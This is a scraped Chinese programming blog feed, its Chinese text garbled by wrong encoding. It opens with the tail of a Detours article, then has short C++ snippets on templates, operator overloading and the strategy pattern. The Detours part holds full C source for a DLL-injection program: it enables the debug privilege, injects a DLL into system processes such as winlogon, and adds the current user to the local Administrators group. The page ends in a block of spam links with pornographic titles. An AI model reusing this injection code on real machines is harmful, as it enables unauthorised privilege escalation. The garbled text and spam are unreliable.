/*浠ヤ笅鍒涘緩涓鍏變韓孌靛疄鐜拌繘紼嬮棿鐨勬暟鎹氳錛?br style="LINE-HEIGHT: normal">szAccountName 鏄敤鎴峰悕錛宐Prepared璇存槑 szAccountName鏄惁宸插垵濮嬪寲銆?/ #pragma data_seg(".MYSHARE") BOOL bPrepared=FALSE; wchar_t szAccountName[100]={0}; #pragma data_seg() #pragma comment(linker, "/SECTION:.MYSHARE,RWS") /*紼嬪簭璋冪敤SetAccountName璁劇疆瑕佸姞鍏ュ埌Administrators 鏈湴緇勭殑鐢ㄦ埛鍚嶏紝騫墮氱煡DllMain 宸插垵濮嬪寲szAccountName 錛?br style="LINE-HEIGHT: normal">浠ュ悗琚鍏ユ椂鍙皟鐢‥levatePriv */ __declspec(dllexport) VOID WINAPI SetAccountName(wchar_t *Name) { wcscpy(szAccountName,Name); bPrepared=TRUE; } /*鎶婂悕涓簊zAccountName鐨勭敤鎴峰姞鍏?br style="LINE-HEIGHT: normal">鍒癆dministrators鏈湴緇?/ __declspec(dllexport) VOID WINAPI ElevatePriv() { LOCALGROUP_MEMBERS_INFO_3 account; account.lgrmi3_domainandname=szAccountName; NetLocalGroupAddMembers(NULL,L"Administrators", 3,(LPBYTE)&account,1); } __declspec(dllexport) ULONG WINAPI DllMain(HINSTANCE hInstance, DWORD dwReason, PVOID lpReserved) { switch (dwReason) { case DLL_THREAD_ATTACH: if (bPrepared) ElevatePriv(); } return TRUE; } 紼嬪簭濡備笅錛?br style="LINE-HEIGHT: normal"> /*AddMeToAdministrators.exe 鎶婂綋鍓嶇敤鎴峰姞鍏ュ埌 Administrators鏈湴緇勩備嬌鐢ㄦ柟娉曚負(fù)錛氾紙1錛?br style="LINE-HEIGHT: normal">榪愯浠誨姟綆$悊鍣ㄦ壘鍒皊poolss.exe鎴杛pcss.exe鎴杦inlogon.exe鎴杝evice.exe鐨勮繘紼婭D 錛?錛夋墽琛孉ddMeToAdministrators.exe procid, 鍏朵腑procid涓猴紙1錛夎涓嬬殑榪涚▼ID 錛?錛夌閫鍐嶇鍒幫紝榪愯鐢ㄦ埛綆$悊鍣紝鍗沖彲鍙戠幇鑷繁宸插湪Administrators鏈湴緇勪腑銆?/ #include #include #include #include #include extern VOID WINAPI SetAccountName(wchar_t *Name); /* GetCurrentUser寰楀埌鑷繁鐨勭敤鎴峰悕縐?/ void GetCurrentUser(wchar_t *szName) { HANDLE hProcess, hAccessToken; wchar_t InfoBuffer[1000],szAccountName[200], szDomainName[200]; PTOKEN_USER pTokenUser = (PTOKEN_USER)InfoBuffer; DWORD dwInfoBufferSize,dwAccountSize = 200, dwDomainSize = 200; SID_NAME_USE snu; hProcess = GetCurrentProcess(); OpenProcessToken(hProcess,TOKEN_READ,&hAccessToken); GetTokenInformation(hAccessToken,TokenUser, InfoBuffer, 1000, &dwInfoBufferSize); LookupAccountSid(NULL, pTokenUser->User.Sid, szAccountName, &dwAccountSize,szDomainName, &dwDomainSize, &snu); wcscpy(szName,szDomainName); wcscat(szName,L"\"); wcscat(szName,szAccountName); } /* EnablePrivilege鍚敤鑷繁鐨?#8220;璋冭瘯紼嬪簭”鐨勭敤鎴鋒潈闄?/ BOOL EnablePrivilege(LPCTSTR szPrivName,BOOL fEnable) { HANDLE hToken; if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)) return FALSE; TOKEN_PRIVILEGES tp; tp.PrivilegeCount = 1; LookupPrivilegeValue(NULL, szPrivName, &tp.Privileges[0].Luid); tp.Privileges[0].Attributes = fEnable ? SE_PRIVILEGE_ENABLED : 0; AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL); return((GetLastError() == ERROR_SUCCESS)); } int WINAPI WinMain(HINSTANCE hinst, HINSTANCE hprev, LPSTR lpszCmdLine, int nCmdShow) { INT argc; WCHAR **argv; argv = CommandLineToArgvW(GetCommandLineW(), &argc); INT nProcessId = -1; if (argc!=2){ wprintf(L"usage %s pid", argv[0]); return 1; } nProcessId = _wtoi(argv[1]); printf("%d ",nProcessId); /*瑕佹垚鍔熸墽琛孋ontinueProcessWithDll錛岃瀵箇inlogon.exe絳夎繘紼嬬殑榪涚▼鍙ユ焺鏈夎鍐欏瓨鍌ㄥ櫒鍐呭鍜屽垱寤虹嚎紼嬬殑鏉冮檺錛孍nablePrivilege浣挎湰榪涚▼鏈夎繖鏍風(fēng)殑鏉冨埄銆?/ if (!EnablePrivilege(SE_DEBUG_NAME, TRUE)){ printf("AdjustTokenPrivilege Fail %u ", (UINT)GetLastError()); return 1; } HANDLE gNewHandle = OpenProcess(PROCESS_ALL_ACCESS , TRUE, nProcessId); if (!gNewHandle){ printf("OpenProcess Fail %u ", (UINT)GetLastError()); return 1; } wchar_t szName[100]; GetCurrentUser(szName); SetAccountName(szName); If (!ContinueProcessWithDll(gNewHandle, L"c:\temp\admin.dll")) { printf("ContinueProcessWithDll failed %u", (UINT)GetLastError()); return 3; } return 0; } 鍥犱負(fù)“璋冭瘯紼嬪簭”鐨勭敤鎴鋒潈闄愮己鐪佹儏鍐典笅浠呰祴浜堢粰綆$悊鍛橈紝鍥犳騫朵笉浼?xì)閫犳垚瀹夊叏婕忔礊銆備絾璇ョ▼搴忔彮紺哄嚭“璋冭瘯紼嬪簭”鐨勭敤鎴鋒潈闄愬叾瀹炴槸鑷抽珮鏃犱笂鐨勭敤鎴鋒潈闄愶紝鍙兘鎺堜簣緇欏彲淇$敤鎴楓?br style="LINE-HEIGHT: normal"> 鍥涳紟 緇撹 Detours鏄竴寮哄ぇ鐨勫伐鍏鳳紝鎻愪緵浜嗙畝鍗曟槗鐢ㄧ殑鍑芥暟鎺ュ彛鏉ユ嫤鎴猈IN32 API璋冪敤鍜屼負(fù)涓涓凡鍦ㄨ繍琛岀殑榪涚▼瑁呭叆涓涓狣LL銆?/span>
]]>QT涓殑鎻掍歡 http://www.shnenglu.com/codeart/archive/2010/08/28/125058.htmlcodeArt codeArt Sat, 28 Aug 2010 11:56:00 GMT http://www.shnenglu.com/codeart/archive/2010/08/28/125058.html http://www.shnenglu.com/codeart/comments/125058.html http://www.shnenglu.com/codeart/archive/2010/08/28/125058.html#Feedback 0 http://www.shnenglu.com/codeart/comments/commentRss/125058.html http://www.shnenglu.com/codeart/services/trackbacks/125058.html 闃呰鍏ㄦ枃 ]]> 鍔姏,浠庣幇鍦ㄥ紑濮?/title> http://www.shnenglu.com/codeart/archive/2010/08/28/125056.htmlcodeArt codeArt Sat, 28 Aug 2010 08:15:00 GMT http://www.shnenglu.com/codeart/archive/2010/08/28/125056.html http://www.shnenglu.com/codeart/comments/125056.html http://www.shnenglu.com/codeart/archive/2010/08/28/125056.html#Feedback 0 http://www.shnenglu.com/codeart/comments/commentRss/125056.html http://www.shnenglu.com/codeart/services/trackbacks/125056.html ]]> 鐢ㄥ湪COM涓紝綾昏涓烘瘮杈冩紓鐨勪唬鐮?/title> http://www.shnenglu.com/codeart/archive/2010/08/27/124972.htmlcodeArt codeArt Fri, 27 Aug 2010 13:02:00 GMT http://www.shnenglu.com/codeart/archive/2010/08/27/124972.html http://www.shnenglu.com/codeart/comments/124972.html http://www.shnenglu.com/codeart/archive/2010/08/27/124972.html#Feedback 0 http://www.shnenglu.com/codeart/comments/commentRss/124972.html http://www.shnenglu.com/codeart/services/trackbacks/124972.html #include <iostream> using namespace std; template <typename T> class Base { public: void fun() { cout << "Base::fun" << endl; } void doSomething() { T* pT = static_cast<T*>(this); pT->fun(); } }; class Drive : public Base<Drive> { public: void fun() { cout << "Drive::fun" << endl; } }; class MostDrive : public Drive { public: void fun() { cout << "MostDrive::fun" << endl; } }; int main() { MostDrive obj; obj.doSomething(); return 0; }
]]> c++閲嶈澆-> http://www.shnenglu.com/codeart/archive/2010/08/27/124971.htmlcodeArt codeArt Fri, 27 Aug 2010 12:46:00 GMT http://www.shnenglu.com/codeart/archive/2010/08/27/124971.html http://www.shnenglu.com/codeart/comments/124971.html http://www.shnenglu.com/codeart/archive/2010/08/27/124971.html#Feedback 0 http://www.shnenglu.com/codeart/comments/commentRss/124971.html http://www.shnenglu.com/codeart/services/trackbacks/124971.html #include <iostream> using namespace std; class Inner { public: void Fun() { cout << "Inner::Fun" << endl; } }; class Outer { private: Inner* m_pInner; public: Outer(Inner* p_pInner) : m_pInner(p_pInner) { } Inner* operator -> () { return m_pInner; } }; int main() { Inner objInner; Outer objOuter(&objInner); objOuter->Fun(); return 0; }
]]> 絳栫暐妯″紡c++琛ㄨ堪澶囧繕 http://www.shnenglu.com/codeart/archive/2010/08/27/124970.htmlcodeArt codeArt Fri, 27 Aug 2010 12:43:00 GMT http://www.shnenglu.com/codeart/archive/2010/08/27/124970.html http://www.shnenglu.com/codeart/comments/124970.html http://www.shnenglu.com/codeart/archive/2010/08/27/124970.html#Feedback 0 http://www.shnenglu.com/codeart/comments/commentRss/124970.html http://www.shnenglu.com/codeart/services/trackbacks/124970.html #include <iostream> using namespace std; class Round1 { public: void Play() { cout << "Round1::Play" << endl; } }; class Round2 { public: void Play() { cout << "Round2::Play" << endl; } }; template <typename T> class Strategy { private: T objT; public: void Play() { objT.Play(); } }; int main() { Strategy<Round1> obj1; Strategy<Round2> obj2; obj1.Play(); obj2.Play(); return 0; }
]]>
91精品国产91热久久久久福利 |
久久久久久精品成人免费图片 |
久久婷婷五月综合97色一本一本 |
99精品国产免费久久久久久下载
|
国产精品无码久久久久久 |
无码人妻久久久一区二区三区 |
久久精品人人做人人爽电影蜜月 |
av国内精品久久久久影院 |
精品久久久久久无码人妻蜜桃
|
久久最新免费视频 |
精品无码久久久久国产动漫3d |
国产精品99久久99久久久 |
久久久99精品一区二区 |
久久国产精品成人影院 |
中文精品99久久国产 |
久久精品国产亚洲欧美 |
色妞色综合久久夜夜 |
国产精品成人99久久久久91gav |
亚洲中文字幕无码一久久区 |
国产91久久综合 |
国产精品久久成人影院 |
亚洲av日韩精品久久久久久a |
久久亚洲欧洲国产综合 |
久久免费视频网站 |
熟妇人妻久久中文字幕 |
人妻无码精品久久亚瑟影视 |
久久强奷乱码老熟女网站 |
99久久婷婷国产综合精品草原 |
久久亚洲私人国产精品 |
久久久久久曰本AV免费免费 |
久久这里只有精品视频99 |
精品久久久久久国产91 |
99久久er这里只有精品18 |
亚洲国产精品成人久久 |
亚洲成色www久久网站夜月 |
亚洲另类欧美综合久久图片区 |
久久毛片免费看一区二区三区 |
久久国产成人 |
久久伊人影视 |
久久婷婷是五月综合色狠狠 |
婷婷久久综合九色综合绿巨人 |